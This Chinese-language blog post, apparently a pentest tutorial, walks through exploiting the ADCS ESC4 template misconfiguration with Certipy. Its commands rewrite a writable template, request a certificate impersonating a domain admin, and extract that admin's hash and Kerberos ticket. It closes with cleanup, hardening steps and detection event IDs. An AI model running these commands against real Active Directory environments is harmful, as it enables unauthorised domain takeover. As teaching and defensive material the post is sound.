滥用Active Directory证书服务(ADCS)第二部分:ESC4漏洞利用与防御

本文详细介绍了Active Directory证书服务(ADCS)中的ESC4漏洞利用技术,通过Certipy工具演示如何修改证书模板配置实现从普通域用户到域管理员的权限提升,并提供防御和检测建议。

滥用Active Directory证书服务(ADCS)第二部分

Active Directory证书服务(ADCS)中的错误配置可能在企业Active Directory环境中引入关键漏洞,例如从低权限账户到域管理员的权限提升路径。

在本ADCS系列的第一部分中,我们简要介绍了Active Directory证书服务,并详细讲解了一种权限提升技术ESC1。在本文中,我们将使用Certipy工具演示另一种权限提升技术ESC4。

ESC4漏洞

当非管理员账户可以修改证书模板时,就会出现这个问题。这种错误配置可能发生在意外授予用户以下模板安全权限之一时:

  • 所有者
  • WriteOwnerPrincipals
  • WriteDaclPrincipals
  • WritePropertyPrincipals

示例场景

假设我们已经获得了目标公司FOOBAR内部网络的初始访问权限,并成功入侵了名为"billy"的用户账户。我们已经枚举了内部目标域"foobar.com"的ADCS配置。

如下图所示,“ESC4Certificate_FOOBAR"模板配置为授予"Domain Users"组Write Owner Principals和Write Property Principals权限。这意味着任何foobar.com用户都有权修改模板中的任何属性。

ESC4模板

我们入侵的用户账户"billy"是"Domain Users"组的成员,因此有权修改模板配置。我们可以使用以下Certipy命令引入权限提升条件:

1
2
3
4
5
6
certipy template 
-u [email protected] \
-p REDACTED \
-template ESC4Certificate_FOOBAR \
-dc-ip <DC_IP> \
-save-old

Certipy执行结果

如上图所示,原始模板保存在"ESC4Certificate_FOOBAR.json"中。完成攻击后,我们可以使用此配置文件轻松将模板配置恢复到原始状态。目标模板已更新以满足以下ESC1条件:

  • 客户端认证:True
  • 启用:True
  • 注册者提供主题:True
  • 需要管理审批:False
  • 需要授权签名:0

此外,模板有效期从4年增加到5年。现在,任何域用户都可以使用此易受攻击的模板代表任何其他域账户请求证书。修改后的模板如下所示。

修改后的易受攻击证书

为了演示这一点,我们可以通过将用户主体名称(UPN)设置为[email protected]来为"Dan the DA"请求证书:

1
2
3
4
5
6
7
certipy req -u '[email protected]' \
-p 'REDACTED' \
-dc-ip '10.10.1.100' \
-target 'foobar-CA.foobar.com ' \
-ca 'foobar-CA' \
-template 'ESC4Certificate_FOOBAR' \
-upn '[email protected]'

注意:Certipy结果将返回请求ID或对象SID。请记下此信息,因为在测试完成后需要此信息来撤销证书。

请求域管理员证书

获得证书后,我们可以使用证书获取目标DA账户的凭据哈希和Kerberos票据,使用以下Certipy -auth命令:

1
certipy auth -pfx DA_Dan.pfx

如下图所示,我们成功检索到了DA_Dan账户的哈希值。现在我们可以模拟DA_Dan!

获取DA_Dan凭据

总结

“ESC4Certificate_FOOBAR"模板配置为允许Domain Users组(非管理员账户)的用户修改模板配置。这使得标准域用户Billy能够修改"ESC4Certificate_FOOBAR"模板,并引入允许从普通域账户提升到域管理员账户的漏洞。

清理操作

要将模板配置恢复到原始状态,请使用以下模板命令:

1
2
3
4
5
6
certipy template 
-u [email protected] \
-p REDACTED \
-template ESC4Certificate_FOOBAR \
-dc-ip <DC_IP> \
--configuration 'ESC4Certificate_FOOBAR.json'

恢复模板到原始配置

预防和检测

那么,我们可以采取哪些措施来预防和检测此类攻击?以下是强化证书模板的几个步骤:

  • 清点证书模板,确定所有启用的模板是否当前正在使用。禁用所有不必要的模板
  • 确保模板权限尽可能严格。仅授予必要的组/用户注册权限。仅授予必要的组/用户修改模板属性的权限
  • 修改"颁发要求”,在可能的情况下要求手动批准颁发的证书
  • 在可能的情况下禁用"注册者提供主题"标志
  • 在可能的情况下移除"客户端认证”

监控

证书模板通常不会经常更改。检测应围绕意外的模板配置更改构建。当ADCS对象更改和注册发生时,会出现事件ID 4900和4899。

通过监控证书更改事件,管理员可以警告异常行为,调查模板更改,并撤销看起来恶意或可疑的证书。以下是一些有用的事件ID:

  • 4900 – 证书模板的安全权限已更改
  • 4899 – 证书模板已更新
  • 4886 – 证书请求
  • 4887 – 证书已颁发
  • 4768 – Kerberos票据(TGT)请求

防御资源

  • Certified_Pre-Owned的"防御指南"部分
  • Microsoft PKI防御指南:https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn786443(v=ws.11)
  • PKIAudit:https://github.com/GhostPack/PSPKIAudit

附加资源

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计